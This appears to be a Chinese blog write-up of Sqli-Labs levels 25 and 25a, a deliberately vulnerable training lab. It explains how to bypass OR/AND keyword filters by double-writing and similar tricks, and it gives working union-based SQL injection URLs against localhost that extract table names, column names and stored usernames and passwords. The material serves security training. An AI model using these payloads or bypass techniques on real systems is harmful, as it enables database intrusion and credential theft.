美文网首页
Sqli-Labs:Less 25 - Less 25a

Sqli-Labs:Less 25 - Less 25a

作者: Hyafinthus | 来源:发表于2018-08-07 15:41 被阅读0次

    Less 25

    基于错误_GET_过滤OR/AND_单引号_字符型注入

    界面很带感,huh?
    刚进就有报错,下面那个未定义的 hint会在GETid后消失。

    0x01. 判断注入类型

    http://localhost:8088/sqlilabs/Less-25/?id=1'

    可以看出是单引号闭合的查询,为了截图方便暂时把图片文件注释掉了。
    下面还友情地把过滤后的内容显示出来了。

    0x02. 过滤绕过

    有过滤的时候首先要判断这个过滤是一次性的还是非一次性的:

    若是一次性的,且只是将过滤字符换成了空字符:

    • 双写——or=oorrand=anandd

    若是非一次性的,就要考虑一些变形:

    • 大小写变形——or=Or=oR=OR
    • 利用运算符——or=||and=&&
    • URL编码——#=%23,Hex编码——~=0x7e
    • 添加注释——/*or*/

    0x03. 注入过程

    $id = blacklist($id);
    $hint = $id;
    function blacklist($id)
    {
        $id = preg_replace('/or/i',"",$id);         //strip out OR (non case sensitive)
        $id = preg_replace('/and/i',"",$id);        //Strip out AND (non case sensitive)
        return $id;
    }
    

    本关卡是一次性绕过,所以双写或运算符绕过都可以做到。
    这里的正则匹配//i同时匹配大小写,所以不能用大小写绕过。

    步骤1:数据库名

    http://localhost:8088/sqlilabs/Less-25/?id=-1' union select 1,user(),database()--+

    步骤2:表名

    http://localhost:8088/sqlilabs/Less-25/?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),3--+

    这里information中的or也被注释了哈哈哈。

    步骤3:字段名

    http://localhost:8088/sqlilabs/Less-25/?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'),3--+

    步骤4:数据

    http://localhost:8088/sqlilabs/Less-25/?id=-1' union select 1,(select group_concat(concat_ws('-',id,username,passwoorrd)) from users),3--+

    password中的or也未能幸免。

    0x04. 吐槽

    一般来说,过滤不会那么严格重复很多次,毕竟正常单词中也可能会含有被过滤的字符。

    Less 25a

    基于Bool_GET_过滤AND/OR_数字型_盲注*

    0x01. 注入方式与回显对比(Review)

    GET

    Less 注入方法 正确回显 错误回显
    1 基于错误注入 查询到的用户名和密码 Mysql错误信息
    5 双注入 固定字符串 Mysql错误信息
    7 导出文件注入 固定字符串 另一固定字符串
    8 Bool型盲注 固定字符串
    9 Time型盲注 固定字符串 同一固定字符串

    POST

    Less 注入方法 成功回显 失败回显 错误回显
    11 基于错误注入 用户名和密码 (flag.jpg) 无 (slap.jpg) Mysql错误信息 (slap.jpg)
    13 双注入 无 (flag.jpg) 无 (slap.jpg) Mysql错误信息 (slap.jpg)
    15 Bool/Time型盲注 无 (flag.jpg) 无 (slap.jpg) 无 (slap.jpg)

    注意:GET和POST差别在于,GET只需要提交参数id,而POST则需要usernamepassword都正确。

    其实这关严格来说算不上盲注,只是无错误回显,正确回显还是能显示的。

    而之前如 Less 1 等GET关无Warning是因为用了函数error_reporting(0),关闭了错误报告。

    所以这关既可以正常union注入也可以用脚本BoolTime盲注。

    0x02. 注入过程

    1正常回显,1'1"都报错,判断为数字型注入,其他注入过程同 Less 25。

    相关文章

      网友评论

          本文标题:Sqli-Labs:Less 25 - Less 25a

          本文链接:https://www.haomeiwen.com/subject/yupovftx.html